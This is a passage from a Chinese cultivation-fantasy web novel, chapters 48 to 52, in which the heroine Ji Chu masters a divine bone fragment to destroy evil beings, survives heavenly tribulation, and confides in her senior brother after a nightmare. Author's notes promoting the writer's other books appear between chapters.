他看着纪楚,目光一寸寸扫过她的脸,最后落到她因愤怒和紧张而变得格外明亮张扬的眸子上。 他忍不住想到悬鹤峰那天,她也是这样,带着满身朝阳光环骤然现身,打破了神骨恶念围困他的结界。 那是他永远忘不掉的一线天光。 望着那双黑曜石般闪耀的稀世珍宝,孟喻辞情不自禁微笑起来,轻声祝祷: “纪楚,快点变强吧。” 如果你真的是特别的。 那就快点变强吧。 ——强到可以将神骨的阴谋打破。 纪楚已经做好了被他喝斥的准备,没想到竟然听见了这么一句话。 她疑心自己听错了,诧异地“欸”了一声,随即又看到了师兄的这个笑容。 该怎么形容这一瞬间她的感受呢? 简直是荒漠落雨,寒冰生花,恍如一池春水泛起涟漪,清浅似云雾般飘渺难寻。 师兄他,好像很高兴—— 作者有话说:师兄:[撒花]她果然还是信任我哒,四舍五入这就是爱情[撒花]。 第49章 纪楚愣神间,师兄忽然朝她走了过来。 她顿时紧张起来。 然而孟喻辞却只是抬手,帮她顺了顺跑乱的头发。 而后他敛起笑,又恢复了淡漠神色: “除了你,不要让任何人接触到神骨。” 他又强调了一遍,似乎很是严肃。 纪楚这次精神放松不少,忍不住询问原因。 “为什么?” 她并不知道神骨会勾起人心的恶念,也不知道自己的特别。 孟喻辞不欲解释,只轻推她肩膀: “快去吧,你没有多少时间了。” “啊啊我先走了。” 纪楚猛的反应过来,等天亮了就来不及了,她于是赶忙抱着球跑了。 又只剩下孟喻辞一个人。 但这回看着纪楚的背影,他已经没了先前那种寂寥落寞的心境,反而觉得充盈宁静。 她能不能利用好这一小片神骨碎片还未可知。 但他决定给她这个机会,就得承担师尊的问责,以及失败的后果。 在那之前,就只静下心来,等待天亮吧。 * 纪楚回到了入口处,蒋成旭和许盈等在那里。 见她一个人出来,许盈立马欢呼着迎上来: “我赢了我赢了!” 反观蒋成旭则垂头丧气: “怎么还真动手了……好吧好吧,我输了。” 看样子,是在赌她会不会杀薛羡尘。 “我找到压阵之宝了。” 纪楚走过去,将抱着的球展示给他们看,一脸认真: “薛羡尘是魔,就是他偷走了压阵之宝。” 虽然有点半真半假,但是和事实差不多。 许盈和蒋成旭果然不相信。甚至许盈还拍拍纪楚的肩膀,一脸“我懂你”的表情: “没事的纪楚,他在宗门那样烦人,你忍不住动手很正常。况且这是比赛,成王败寇,就该如此!” 纪楚叹气。 她就知道没人信她。 毕竟薛羡尘在拂宇仙宗的时间比她还长,身份灵力样样正常,连生死台都上过,无凭无据的,谁会相信他是魔呢? 蒋成旭看着纪楚手里的球,问道: “这真的是压镇之宝吗?我看着它,总觉得有点说不上来的……” “奇怪是吧,我也有点。” 许盈点头: “这感觉就像是空口吃了整整一锅炒鸡心,虽然好吃吧,但是却有点腻;虽然腻吧,但是还有点想吃……” 她说着说着,就忍不住想要伸手去碰。 “别!” 纪楚赶忙拦住她:“别碰这个!” “哦……哦。” 许盈点头,解释道: “不好意思,我看着这东西,就有点控制不住我自己……” 蒋成旭也有点被神骨控制,勉强稳住心神,问道: “纪楚,你拿着它,没有感觉不对劲吗?” “没有啊,你们这是……不舒服吗?” 纪楚忽然想到,师兄见她醒来后震惊的神情,以及“不要让别人接触神骨”的告诫。 难道只有她能碰到神骨? 先前梦见的猴子说的“特殊之人”,以及在藏书阁看到的书上的内容再次浮现在她脑海。 不会吧…… 难道她真的不一般? 这个想法也太自信太中二了吧! 纪楚揉了揉自己脸,避免陷入中二主义陷阱。 然后她又想起来,前世她试图从薛羡尘身上把神骨挖出来,当时已经摸到了骨头,然后她就看见了“金色眼睛”,这次好像也是…… 总不会这两件事中间,有什么关联吧? 不可能吧…… 赵一岩师兄见到金色眼睛后入魔,而她也差点被金色眼睛吞掉。 那金色眼睛,似乎不是什么好东西…… 怎么能和神骨扯上关系呢? “纪楚!” 一声叫喊打断了她的走神。 蒋成旭和许盈担忧地看着她: “你脸色怎么这么难看,你还好吗?” “我挺好的。” 纪楚机械地点点头。 不行不行,不能再细想了,再想下去她的头和人生观就都要爆炸了。 天快亮了,当务之急是解决掉这里的问题。 于是她稳住心神,对蒋成旭和许盈讲了师兄的话,以及她的打算。 如果压阵之宝留在这里会被邪物利用,那为什么不能在离开之前把邪物处理干净呢? 许盈和蒋成旭对纪楚十分 信任,并不追究“压阵之宝”为什么这么奇怪,又为什么只有纪楚能碰,而是顺着她的思路问道: “可是怎么才能把邪物处理干净呢?如今大部分人都已经被淘汰,我们的玉书牌随时都有可能自爆,时间根本来不及,除非纪楚你……” 纪楚摇头,打断蒋成旭的话: “我不确定自己是什么。” 她拍拍腰间挂着的玉书牌: “不想看,也不重要。” 她拔出自己的剑,右手握剑,左手拿着神骨碎片,看向两人: “我想赌一次。” * 借助神骨碎片的力量,重开地煞锁魂阵,将整座城的魔物重新聚拢到这里,而后一举消灭。 听见来有点痴人说梦。 “但是好酷。” 许盈一脸的骄傲: “我辈修仙,本就是与天争,与命争,干的全是痴人说梦的事,不差这一件!” 她拍拍胸脯: “交给我!定把这些邪祟灭的干干净净!” “我也同意。” 蒋成旭说:! “但是有个问题,如何保证邪物不会在聚拢的同时,再次利用压阵之宝呢?” 纪楚低头,看向手里的神骨,低声道: “我来保证。” 纪楚并非是在说胡话。 她只是觉得,如果连邪物都能利用神骨碎片,那她作为一个能碰到神骨、且毫无副作用的修士,为什么不能呢? 假如,假如金色眼睛真的和神骨碎片有关。 那她连金色眼睛都能砍,怎么就不能驾驭得了神骨碎片呢? 她想试试。 许盈和蒋成旭十分果断,敲定了方案就立马开始行动。 三人迅速找到阵心原本放置压阵之物的位置。 纪楚将神骨放了上去。 地煞锁魂阵重新启动,四处流窜的邪物和邪气逐渐被收拢回来,无形的锁链遍布阵中,空气变得粘稠而血腥。 较为强大的邪物意识到是神骨归位,冲向阵心,企图争夺宝物。 蒋成旭和许盈同时出剑。 灵均以压山之力,剑气横扫一片,无一邪物存活。 丹雨则灵巧锐利,剑光如春风化雨,美而不妖,亦将邪物杀得片甲不留。 纪楚看似冷静,实则紧张的手心冒汗,一直关注着身边的动静。 果然,许盈和蒋成旭迎战邪物时,一层薄薄的水汽由远至近,逐渐铺到她身边的地上。 随后那水汽忽然从地面上膨胀升起,化作密不透风的水墙朝纪楚压了下来。 粘腻的触手从水墙中伸出,两根直冲纪楚面门,一根弯曲,试图卷走神骨。 水汽中央浮现出一张朦胧的脸,裂口大张似嘴,想要吞噬神骨。 纪楚一手按住神骨,一手握剑,斜劈而下,斩落了三根触手。 触手落地化做水雾瘫在地上,随后故技重施,再次膨胀起更厚更高的水墙,几乎将纪楚彻底封死在水雾形成的壳子里。 这邪物与先前那巨大的“水球”有些相似。 从外面看来,纪楚和神骨俨然已经被“水球”吞噬,逃无可逃了。 许盈和蒋成旭已将大半邪物处理干净,剩下一些当着他们的面被触手抓走,连他们自己也被触手缠上,一时挣脱不开。 “纪楚!” 蒋成旭喊她: “天快亮了!我的玉书牌开始碎了!” 细小的破碎声像压倒骆驼的最后一根稻草,蒋成旭支撑不住,神魂开始被拉扯着强行脱离这个小世界。 他用尽全力将许盈身上的触手砍断: “别管我了,快去帮她!” 许盈看他一眼,果断持剑砍向困住纪楚的“水墙”。 天边开始泛起鱼肚白。 阵外,孟喻辞站立不动,晨光在他身上洒了一层蓝白相间的光。 这个小世界的邪气已经浅到几乎没有。但阵中却逐渐膨胀起更大更浓的邪物。 或许,纪楚还是赌输了。 他袖口微动,少微剑离鞘而出。 剑刃在惨白的天光下显得森冷锐利。 幸而这只是个小世界。 哪怕最终还是免不了一场杀戮,这些人依然可以平平安安回到拂宇仙宗。 比起当初的巫觋族,已经好了太多了。 而他也已经犹豫太久,是时候动手了。 孟喻辞看向少微剑,神色冷而漠然。 忽然,从地底传来一声巨大的炸响。 地煞锁魂阵爆发出剧烈的颤动,整个地面都在抖动,仿佛有什么可怖的东西快要破土而出。 但是又被人强行拉住了。 纪楚的剑承受不了神骨的力量,自剑尖处开始出现裂痕。 被“水球”包裹住的同时,她发现包裹着神骨的黑色外壳开始碎裂,里面那白光如同是非不分的混蛋,竟主动朝着邪物靠近。 凭什么? 神骨怎么可以在修士和邪物中间,选择邪物呢? 她惊诧,愤怒,眼看着邪物在神骨的附着下一点点膨胀变大,将许盈和快要脱离小世界的蒋成旭一起笼罩在里面。 愤怒和不甘占据了大脑,她想也不想,一把拽住了那道白光。 ——神骨碎片被她牢牢攥在手心,惊慌失措地跳动。 “比起完整的神骨,你还差的远呢。” 纪楚低声道: “上一个想和神骨融合的魔,被我一剑劈了。你以为,你能得逞吗?” 她一用力,将神骨重重拉了下来,塞进了自己手里的剑。 而后长剑横扫,剑光划过,水墙如漏气的球,“噗嗤”一声瘪了下去。 长剑开始碎裂。 纪楚并未停手。 灵力灌注到剑身的每一寸位置,哪怕碎裂,依然是剑,甚至是无数块由她灵力所控制的剑刃,如漫天坠落的星子,纷纷扬扬炸进邪物全身,将其彻底搅碎成渣。 清爽纯净的气息自地面吹进阵中,吹散了这里经年不散的潮湿和粘腻的空气。 天彻底亮了。 雷声轰鸣,像是从头顶传来,又像是在很远之外的天边。 纪楚看向自己手中断得只剩剑柄的剑发了会儿呆,直到感觉有冰凉的雨滴落在她头上,才后知后觉地意识到—— 这天雷,好像是来劈她的!—— 作者有话说:家人们,你们的爱陪着我成功入v了!(亲亲亲亲亲亲) 明天入v第一天,更新时间会比平时早一点,预计在早上九点之前发出来,还会有加更奉上![亲亲][亲亲][亲亲] 接下来的剧情会逐渐揭露女主前世死亡的真相,和师兄的感情也将进入下一个阶段,期待和大家见面![撒花]爱你们![抱抱][亲亲] ps,推一推我的预收: 《灭世反派假装我娘亲》 《师兄,好巧》 完结文 《我师妹非要和魔尊谈恋爱》 《师兄改了我的作死剧本》 《心腹上位全靠美男计》 andsoon写不下了,大家来专栏看吧[眼镜] 第50章 接下来发生的一切都乱七八糟,像纪楚上灵符课犯困画出来的鬼画符,每一笔都落在让人匪夷所思的地方,可以直接拿去登顶修真界“十大未解之谜”榜首。 首先,她在佩剑碎裂的情况下忽然升阶,连跳三阶,遇到了玄境九阶的雷劫。 玄、臻、化境的这十阶里,每三阶为一坎,满九才成一劫。 雷劫从小世界一直劈到拂宇仙宗,把她劈的连滚带爬,狼狈不堪。 她虽不曾历过升阶雷劫,但往日见旁人突破玄境九阶,三道雷便结束了。 可不知怎的,轮到她自己时,那天上的乌云就跟疯了一般汇聚,连砸六道天雷还不停止,最后一道更是直接将拂宇仙宗半个山头劈出了裂缝。 好在有好心人帮她护法,不然她恐怕要当场被劈成渣。 好不容易熬过雷劫,纪楚只觉劫后余生,整个人都呆呆的。 满脸雀跃的许盈和蒋成旭跑过来。 据说他们最后一刻斩杀邪物数量爆表,已经包揽问仙大会前三。 许盈一边恭喜她升阶,一边把前三名的奖品应元丹塞到了她嘴里,说是看她快被雷劫劈成乞丐了,得赶紧补补。 蒋成旭深以为然,为表庆祝,他二人和纪楚一起,当场把应元丹当糖一样嚼吧嚼巴吃了。 然后就是三道轰隆隆的、比纪楚升玄境九阶有过之而无不及的雷劫,在他们头顶聚起遮天蔽日的雷云,直把赶来慰问他们的其他人吓得掉头就跑。 纪楚看着雷云茫然: 不是吧……她才刚幸存下来,这会儿就又要升臻境了吗?! 自己这升阶速度是不是有点太变态了啊! 天雷砸下。 纪楚没机会腹诽了,匆忙调动刚吸收的一百五十年的灵力修为给自己架了个屏障。 好在这次雷劫数量正常了,虽然是三个人的加在一起,但起码不至于没完没了。 结果就是纪楚三人一起被劈的连滚带爬,狼狈不堪,又一起升到了臻境。 一切都发生的太突然了。 纪楚根本反应不过来,就已经被连续两次雷劫砸掉了半条命。 直到被雷劫后的灵雨浇了个透心凉,纪楚才从一个接着一个的事件中回过神来,“哇”了一声: “我赌赢了?!” 她拉许盈胳膊,找她确认: “我赌赢了?!我还升阶了?!” 许盈转回头,纪楚被她这副模样吓了一跳,不太相信眼前这个乞丐一样的人是那个明艳漂亮的许盈。 她下意识扭头,就看见蒋成旭也一副破破烂烂不成人形的模样,正在和前来贺喜的长老和明务堂的人在说话。 隐约听到了什么: “恭喜恭喜,升阶是好事啊,不过你们忽然历劫也没个准备,这山头被劈了一块,维修费用是……” 纪楚和许盈对视一眼,以前所未有的力气和速度,一左一右架起蒋成旭撒腿就跑。 明务堂的弟子:“……这都什么无赖?” * 再度回到宗门,除了升阶,陈梧又带了一个新的好消息。 虽然他被提前淘汰,但是阴差阳错凑齐了葛二的魂。 杀死袁复的凶手,就是葛二的幼时好友、被袁复介绍进入拂宇仙宗的外门弟子,岑平。 据葛二所说,多年前拂宇仙宗的人去他们村子除妖,无意间发现岑平的生母是只蛇妖,潜于村庄杀人无数。 道长替天行道,铲除蛇妖,岑平父亲也死于那时,而后岑平不知所踪。 如今看来,岑平应是记恨拂宇仙宗,这才利用袁复混进宗门。 只是多年来一直滞留外门,没有找到报仇的机会。 而他之所以对葛二和袁复动手,是因为怕被同乡好友认出身份。 之后纪楚据不认罪,陈梧又一直抓着葛二的残魂不放,执律堂更是严苛排查宗门上下,那岑平做贼心虚,早早跑了。 许盈听完“啧”了一声: “这蛇妖之子为母报仇,修士除妖替天行道,还真是各有各的道理。只是不知道岑平埋伏了这么多年,到底想要找谁报仇?” “我去明务堂打听过那一年的外出记录。” 陈梧看向纪楚: “是孟师兄。” 纪楚讶然。 许盈“啧啧”两声: “那岑平恐怕这辈子都没有报仇的机会了。” 纪楚惊讶并非是因为除妖之人是师兄,更是因为“岑平”这个名字不提还好,一提她就又想起来: 自己上辈子在外门随手救的那个被欺负的弟子,似乎正是这个“岑平”。 这一世她还专门去找过,只是还没见到人,就被薛羡尘打断了。 原来,他就是杀害袁复的凶手。 并且此人潜伏在宗门,是为了找师兄报仇…… 冥冥之中,似乎有什么事情正在形成闭环。 可惜她暂时理不清楚。 纪楚看着陈梧快要肿成猪头的脸,忍不住问: “你这些日子,一直跟鬼魂呆在一起吗?” 陈梧“喔”了一声,用围巾把自己包裹得更严实了一点: “我……我是不是吓到你们了。” 他有点不好意思: “我刚进小世界就因为打喷嚏被淘汰了,实在给大家拖后腿。所以出来后就想着,自己这体质总得有点用吧,果然,真叫我把葛二的魂聚起来了……” 许盈便道: “陈梧!我早就看出来你是个真爷们!什么后腿不后腿的,你就是咱们宗门最厉害的人!” 陈梧脸红: “真……真的吗?” “那是当然!” 许盈把他的肩膀拍的“啪啪”响。 纪楚将剩下两颗应元丹递给陈梧。 陈梧吓了一跳,连忙摆手: “别别别,这事儿我也没做什么,况且葛二的事情本来就跟我有关,我我我……” 他从没想过要纪楚的报答。 毕竟自己只是个在平凡不过的普通弟子,胆子小,修为差,出门只有被欺负的份。 甚至他心里清楚,自己能拜入拂宇仙宗,也是沾了阴身体质的光。为宗门解决鬼魂之事,本来就是他的义务。 他一直猜测,定然是他上辈子行善积德有了福报,才会叫他忽然遇上纪楚,还有了许盈和蒋成旭这样好的朋友。 他不贪心,更不会眼馋朋友的东西。 “不是谢这个。” 纪楚一脸正经: “其实你上辈子帮过我一个大忙,我一直没机会感谢你,如今终于有拿得出手的礼物了,送给你!” “啊?” 陈梧被她说懵了:“上辈子吗?” 虽然他也一直这么想,但是谁会知道上辈子的事啊! 纪楚肯定是在安慰他吧! 但看纪楚格外坚持,他于是只好伸手拿了一颗应元丹,又将盒子和另一颗推了回去,说什么都被不肯多拿: “一个就够了,我……我只是不想和你一样,被连着劈两次天雷。” 纪楚忍不住笑起来,在心里小声说: “那,这次一定要变得强一点,活下去!” 陈梧和许盈离开后,一个更震撼的消息传来。 就在纪楚忙着参加问仙大会的时候,失踪已久的薛晚凝竟然出现了! 听闻人是在云川古境附近的海边找到的。 发现她的时候,魂魄不见踪影,只一缕魂息留在肉|身上,这才被薛家派出去的人察觉。 若非如此,只怕很难寻到她的踪迹。 沈恪收到消息的第一时间就赶了过去。 像他这样温润如玉的人,竟也有如此急迫的时候,无人不夸沈仙君“深情不改”,瑶月仙子失踪多年,也就只有沈仙君和薛家不肯放弃了。 这不,苍天不负有情人,他们竟真有重聚的一天! 薛羡尘则是在离开小世界后才知道这个消息,匆匆忙忙回了薛家,至今未归。 整件事中,只有一人的处境甚是尴尬。 传消息的人偷看纪楚表情,眼里带着几分怜悯几分打探,想知道纪楚作为“替身”,知道这个消息后的反应。 嘴上仍说着: “纪师妹也不必太过伤心,瑶月仙子虽然还活着,但你与沈长老毕竟有师徒之情,再不济还有掌门呢!” “啊?” 纪楚原本正在沉思,骤然听见这么一番安慰,下意识点头: “嗯……我知道的,多谢告知。” 她这一番心不在焉的回答,看在对方眼里像是“强颜欢笑”。 虽说瑶月仙子素来性情温和,应该不会做出赶走“替身”这样的行为。 但薛家到底是修真世家,未必不会想着帮自己家大小姐撑腰,要求沈恪将纪楚这个“替身”“哪儿来的送回哪儿去”。 来人于是更加怜悯纪楚。 分明又努力又优秀,偏偏长了一张酷似瑶月仙子的脸,又是因为这张脸才得以被沈长老救下拜入仙门,实在是又幸运、又不幸运。 纪楚倒没有想这些,她只是觉得奇怪。 薛晚凝怎么会人出现了,魂魄却消失不见呢? 明明前世,她是完完整整回来的,时间也没有现在这么早…… 到底是哪一环不对了呢? 她百思不得其解,忍不住多问了一句: “薛晚凝的魂魄去哪了,薛家查出来没有?什么时候能找到?” 传信的人意味深长地看着她,也不回答,摇着头唏嘘着走了。 纪楚:“?” 第二天就传出流言,说纪楚因为“薛晚凝还活着”一事暗自神伤,强颜欢笑不说,还自我安慰,说“薛晚凝的魂魄未必能找着”,暗地诅咒。 纪楚:“……哦。” 她真的服了。 * 如今纪楚在宗门算得上是个名人,再加上“薛晚凝”的消息的影响,走哪都有奇怪的目光关注。 她一开始还解释了两句,后来发现大家不喜欢平静平淡的事实,只喜欢恨海情天的流言,于是索性放弃,找了个安静的地方,一个人躲着梳理现状。 与薛羡尘已然撕破脸,他这次离开,未必还会以修士的身份回来,说不定下次见面,就是和魔头的你死我活。 反观自己,虽然升了臻境,但剑却碎了。 她于是决定暂且放弃追杀薛羡尘。 起码要先找把趁手的剑。 接下来就是神骨。 前世薛羡尘偷了神骨,企图融合神骨成为与天同寿的魔神,后来被她闯入打断。 那时她觉得,薛羡尘杀死许盈和蒋成旭,害死宗门那么多人,就是为了抢走神骨。 可在小世界的时候,她眼睁睁看着神骨弃她而选了邪物。 当时只顾着生气,如今再看,简直细思极恐。 神骨由宗门层层把守,仅靠薛羡尘一人之力,真的能杀死那么多人,顺利偷走神骨吗? 沈恪当时诬陷她勾结魔族,可纪楚知道自己没有。 那——与魔族里应外合的人,到底是谁? 又或者——会是神骨本身? 想到这里,纪楚猛的锤了一下自己的头。 她原本觉得这一世的任务很简单,就是盯好薛羡尘,以防这个魔头对她的朋友和神骨下手。 但现在,她却觉得眼前像是蒙了一层雾一样,缥缥缈缈什么都看不清楚,更不知道该怎么办。 纪楚在困惑迷茫中睡着了。 她先是梦见了一只“猴子”。 上一次在梦里拼命告诫她“一定要赢下问仙大会”的“猴子”,这次在梦里看起来清晰了一点。 似乎是个高高瘦瘦的人,上蹿下跳手舞足蹈,宛如“猴子”一般冲她比划什么。 纪楚听不清楚,下意识在梦里靠近对方。 猝不及防听见一句大喊: “小心!他发现你了!” 纪楚一惊,面前的“猴子”消失不见,忽然变成了她前世徒手抓住神骨的一幕。 薛羡尘的脸离她很近,一双赤金无瞳的眸子死死盯住她。 分明脸上其他部位的表情都是怨毒和痛楚,那双眼睛却毫无活人气息,像个死物。 她的手在他胸腔里,被那双眼睛看的五脏六腑都在剧痛,却仍抓着神骨不放。 “纪……楚。” 薛羡尘开口,声音却遥远似洪钟嗡鸣,缓而悠长,尾音震颤不休,显然不是他的声音。 “……逆转时空,转世重生,你依然……逃不掉——” 赤金雾气迎头罩下,她如溺水之人陷于苍茫深海,渺小卑微,逃无可逃—— “……!” 纪楚猛得坐了起来。 她喘息着,浑身发抖,眼前仍是一片赤金之色,看不见任何东西。 痛…… 眼睛好痛…… 头好痛……心口也好痛…… 有人要杀她! 她颤抖着站起来,双目失明不辨方向,只能凭着感觉慌不择路地往远处跑。 脚下被什么东西绊到,她找不到自己的剑,只得反手一道灵力重重砸下,石块草根碎裂崩起,冲着她露在外面的皮肤砸来。 一道冰凉的气息忽然拥住了她。 孟喻辞及时出现,展袖挡住她的脸和头,将飞溅的泥土草石遮挡在外。 他的手抚在纪楚后颈,指腹轻轻按着她的头发,力度像母亲温柔的抚摸,支撑着她的脖子,如水一般,将她的不安和惊慌悉数包容进自己的怀抱中。 然后低声唤她名字: “纪楚……醒醒。”—— 作者有话说:“猴子”本人:我有名有姓,频频入梦提醒,纪楚怎么还把我当猴子[问号]? 纪楚:抱一丝,看不清。[吃瓜] 50-60 第51章 孟喻辞本该一离开小世界就去向师尊回禀神骨之事,谁知纪楚竟吸收了神骨的力量,灵力难以压制,直接引来了雷劫。 若只是普通升阶雷劫倒也罢,然而神骨又岂是普通东西,以纪楚人族之身,驾驭神物,还将其毁了,天道必有惩罚。 他不能离开。 于是孟喻辞再次无视了师尊的召令,果断留下为纪楚护法。 也因此,惹得师尊更加不快。 小世界内发生的事情虽无外人可知,但诲元仙尊如何想不到,以孟喻辞的修为,若非他有意放纵,岂会叫纪楚碰得到神骨,还将其吸收? 见着他带着满身雷劫过后的肃杀而至,便知道他是将最致命的雷劫都挡了。 诲元仙尊于是道: “往日弟子升阶,从未见你出手,怎么如今轮到纪楚,你竟如此紧张,倒显得为师这个当师尊的……不够上心了。” 孟喻辞只道: “纪楚是师尊之徒,我之师妹。” 言下之意,他的这些在意,这些担心,全是因为师兄的身份,师尊的嘱托。 并无他意。 “你还知道她是我的徒弟,你的师妹!” 上首仙尊神色一凌,威严尽显,再无纪楚所见的和蔼长辈之态: “神骨何等危险之物,连你都险些折进去,却叫她去涉险!” “她若当真与众不同,你此举,便是将她暴露在外,引得那人对她动手!若她同旁人并无不同……” 他语气宁和,缓缓道出,却透着森然之意: “待来日,纪楚受神骨所惑,毁道堕魔,你可——下得去手?” 孟喻辞眼中顿时生出戾气。 他垂眸,将眼底情绪压至无人可见之处,而后拱手于身前拜下,淡声道: “弟子愿以性命担保。” 担保什么呢? 担保纪楚一定不会入魔? 还是担保自己绝不手软? 孟喻辞却不再多言,转身离开大殿。 诲元仙尊沉默地打量着他的背影。 他虽担着师尊名义,可却从来不知道自己这个徒弟在想些什么。 当年巫觋之祸死伤无数,巫觋族灭族,只孟喻辞一人提剑而出,周身染血。 见者多言此子杀心太重,性冷之至,若不提早除之,恐成大患。 然而这么多年过去了,孟喻辞,依然还是那个孟喻辞。 下可震慑弟子,上可尊敬师长……好吧,其实也没那么尊敬师长。 诲元仙尊收回思绪,招手唤来一只灵鹤。 * “师兄?” 纪楚睁大了眼睛,却还是什么都看不见,下意识想要推开挡在她前面的人,却摸到了一手冰凉的衣料。 她被这股凉意一激,神思回归几分,下意识顺着他的衣襟朝上摸。 指尖隐隐颤抖,仿佛一条初生的、小心翼翼接触这个世界的小蛇,试探着、顺着他的胸口攀附而上,轻触他的脖颈,喉结,又摸到下巴,带来点细微的痒。 孟喻辞感受到她的不安,却并未阻止她,而是等她碰到自己的脸颊时,才抬手,将她的手掌按实在自己侧脸上。 “是我。” 他说。 皮肤接触的感觉骤然传来,纪楚的掌心有些发烫,按在他脸上,像贴着一个热乎乎的炉子。 发现是他后,她整个人放松下来,又叫了他一声: “师兄……” “嗯。” 孟喻辞又应了一声。 纪楚大睁着眼睛看他,整个人像是还在梦游,捧着他的脸问他: “师兄,你要 来杀我吗?” 孟喻辞皱眉,看向她的眼睛。 她微微躬着背靠在他手臂上,双目不似往常明亮,是个又害怕又忍不住依靠的姿势。 整个人轻飘到没有重量,仿佛一片云,若非他用手在她身后揽着,只怕随时都要被风吹走。 他心底生出微不可查的恐惧,手臂下意识用力,将她朝自己压了半寸。 他贴着纪楚后背的手臂肌肉也绷紧了,纪楚感觉到自己的骨头被一个更加坚硬的东西硌着,于是又朝前移了一点,一手放在他脸上,一手攥住他衣襟,呼吸打在面前人颈窝。 孟喻辞喉结上下一动。 纪楚看不见他的脸,不确定他是否听清自己的问题,于是又问了一遍: “师兄,你要来杀我吗?” 孟喻辞看向她的眼睛: “我永远不会杀你。” 他顿了顿,抬手,轻轻抚摸她的眼睛,灵力一点点驱散蒙在她眼上的邪气,动作温柔,说出的话却带着让人畏惧的杀意: “……也没有人能杀你。” 他话音刚落,纪楚忽然松开抓着他衣服的手,然后垂着头哭了起来。 安静的,委屈巴巴的,大颗大颗地掉眼泪。 孟喻辞一愣,还以为弄疼了她,落在她身后的手急忙放松下来,轻轻拍了两下她的背: “怎么了?” 纪楚一边掉眼泪一边擦眼泪一边小声说: “师兄,我眼睛瞎了……而且我的剑没了……我打不过它了……” 她眼泪跟不要钱似的往下掉,左边擦了右边流,两只手都快不够用了。 方才那种飘忽的、仿佛随时都会从他面前消失的云,忽然落到他手心里,还变成了一只被水粘湿毛发的猫,正在他跟前委屈巴巴地用爪子擦脸。 孟喻辞心里那种没来由的空茫再度沉寂下去。 他叹气,没再问问题刺激她,指腹轻轻擦过她眼下。 纪楚的眼泪便顺着他的手指一路流淌,又在他指缝间积了一小潭滚烫的水。 他看着自己的手,有点怔愣,不知道是该收回手,还是继续擦。 愣神间,纪楚已经毫不客气地拉过他袖口,在自己脸上抹了两把,像小猫洗脸。 师兄这衣服质量真的很不错,在小世界的时候她就发现了,冰凉丝滑吸水性能良好,穿在身上还显得人又高又帅…… 纪楚在心里碎碎念一番。 原本也没有多难过,只是不知道怎的,一见着师兄,她就觉得格外委屈。 此时被金色眼睛恐吓后的害怕已经消失了大半,眼前蒙着的那层金雾也消失不见了。 她眨了眨眼睛,看清了站在她面前的人。 月光如水,将师兄的眉眼浸染成清润的雪,垂眸瞧着她时,显得格外温柔。 他始终好脾气地没有抽回手,而是由着她把袖口布料揉得不成样子。 纪楚抓着他的袖子,被他的容貌所吸引,忘了手上的动作,仰着头问他: “师兄,师尊是不是骂你了?” 孟喻辞的目光从她抓着自己袖子的手移到她脸上,轻轻抬眼: “怎么这么说?” 纪楚脸上还有没擦干的泪水,侧脸圆鼓鼓的,细小的绒毛在月下映着水光,很容易让人联想到水润多汁的桃子。 他落在身侧的指腹不自觉摩挲,又想起那天捏住她脸的触感。 纪楚道:“师兄不来祝贺我升阶,定是因为神骨一事被师尊责骂,迁怒于我。” 孟喻辞失笑。 纪楚又说:“而且神骨是神物,却被我毁了,我是修真界的罪人。” 她扁着嘴:“师兄,师尊是不是要你来,把我赶走?” 孟喻辞没说话,垂眸看着她,抬手,屈指,忽然“梆”的一声敲在她头上。 纪楚“哎呀”一声,松开手里拉着的他的袖子,两手捂住自己的头。 然后就看见师兄面无表情地收回手,道: “听着也不是空的,怎么总在瞎想?” 纪楚:“……” 鉴于她有“前科”,孟喻辞又说了句: “没有人能赶你走,你也不要想着自己悄悄离宗,我不同意,你就是叛逃。” 纪楚闻言缩了起来。 主要是她前世真的当着师兄的面“叛宗”跑了,还打伤了师兄,她心虚。 见她这副做贼心虚的模样,孟喻辞不禁蹙眉,语气冷了几分: “什么表情?莫非叫我说中了,你还真敢叛宗?” “没有没有。” 纪楚忙摇头摆手:“从来没有。” 前世她也不是故意想叛宗的,实在是没有办法,形势逼人,不得已出此下策…… 孟喻辞看她几眼,没再追问。 他摸了摸纪楚的头,声音温柔下来: “不要瞎想了,师尊没有骂我。” 最多算是责问。 不过,就没必要让纪楚操心了。 她的脑子里装了太多秘密,若是这也操心那也操心,只怕又要独自拧巴好久,最后绷不住了,还会跑去执律堂说“自请离宗”。 况且,是他决定相信纪楚,是他决定给她机会尝试,那么后果本该由他担着。 只要他还在,就没有人能越过他动纪楚。 然后他又道:“神骨的事不要外传,剩下的我会处理。” 听见他这么说,纪楚才放下心来。 这几天的事情一个接着一个,她的头都快要爆炸,若是师兄还因为她被师尊责罚,那才是真的让她难受。 她缓过神来,不免又想起那个梦。 金色眼睛…… 它是真的想杀她。 为什么? 它到底是什么东西? 自己前世死前所见,究竟是薛羡尘,还是……神骨? 孟喻辞没说话,看着她兀自思考着,一点点皱起眉,像是遇到了天大的难事。 但他等了许久,也不见她开口。 不向他求助,也不打算解释她迷迷糊糊时说的话。 他可以直接问,问“它”是谁,问纪楚为什么总问自己“会不会杀她”,她又为什么会这么害怕。 但…… 他最后还是什么都没说,只安静地站在纪楚身边,帮她把被风吹散的头发拢到一起。 过了好久,纪楚像是终于下定了决心,拽了拽他的袖子,看向他: “师兄,我没有被神骨控制,我是特别的,对吗?” 孟喻辞五指自袖口中垂下,轻轻包住她手,低声道: “嗯。” 纪楚笑起来,她忽然攥住他手指,一脸期待地望着他: “师兄,我相信你不会杀我,你也相信我好不好?” 孟喻辞感觉心口突突突地跳,像是被她一把攥住了心脏。 她的眼睛仿佛有魔力一般,让他连呼吸都快要被她掌控。 然后他说:“我相信你。”—— 作者有话说:谁还记得师兄一开始是拿袖子左抹一下右抹一下擦脸如擦墙的无情人设[狗头叼玫瑰] 第52章 孟喻辞将纪楚送回院子门口。 纪楚用脑过度,又被噩梦恐吓,一回到熟悉的地方,就忍不住想躺下休息。 谁知她刚跟师兄告别准备推门进去时,忽然被师兄拉住胳膊朝后一拽。 孟喻辞侧身将纪楚护在自己怀里的同时,无形剑气瞬间横扫而过。 院门被剑气撞得前后抖动,发出轻微的“吱呀”声。 藏在院子里的灵力亦被他剑气逼的现形,化作一只灵鹤,展翅欲往后退。 纪楚:“?” 她隐约听见鹤鸣,疑心自己生出了幻觉。 但想要回头看时,师兄又飞快将她的脑袋按在他身上,不许她回头。 于是纪楚只能把下巴抵在师兄胸前,仰头问他: “师兄,怎么了?” 孟喻辞的目光从灵鹤身上移开,知晓这是师尊的眼线,身上的杀意悉数散去,只是仍盯着灵鹤不放。 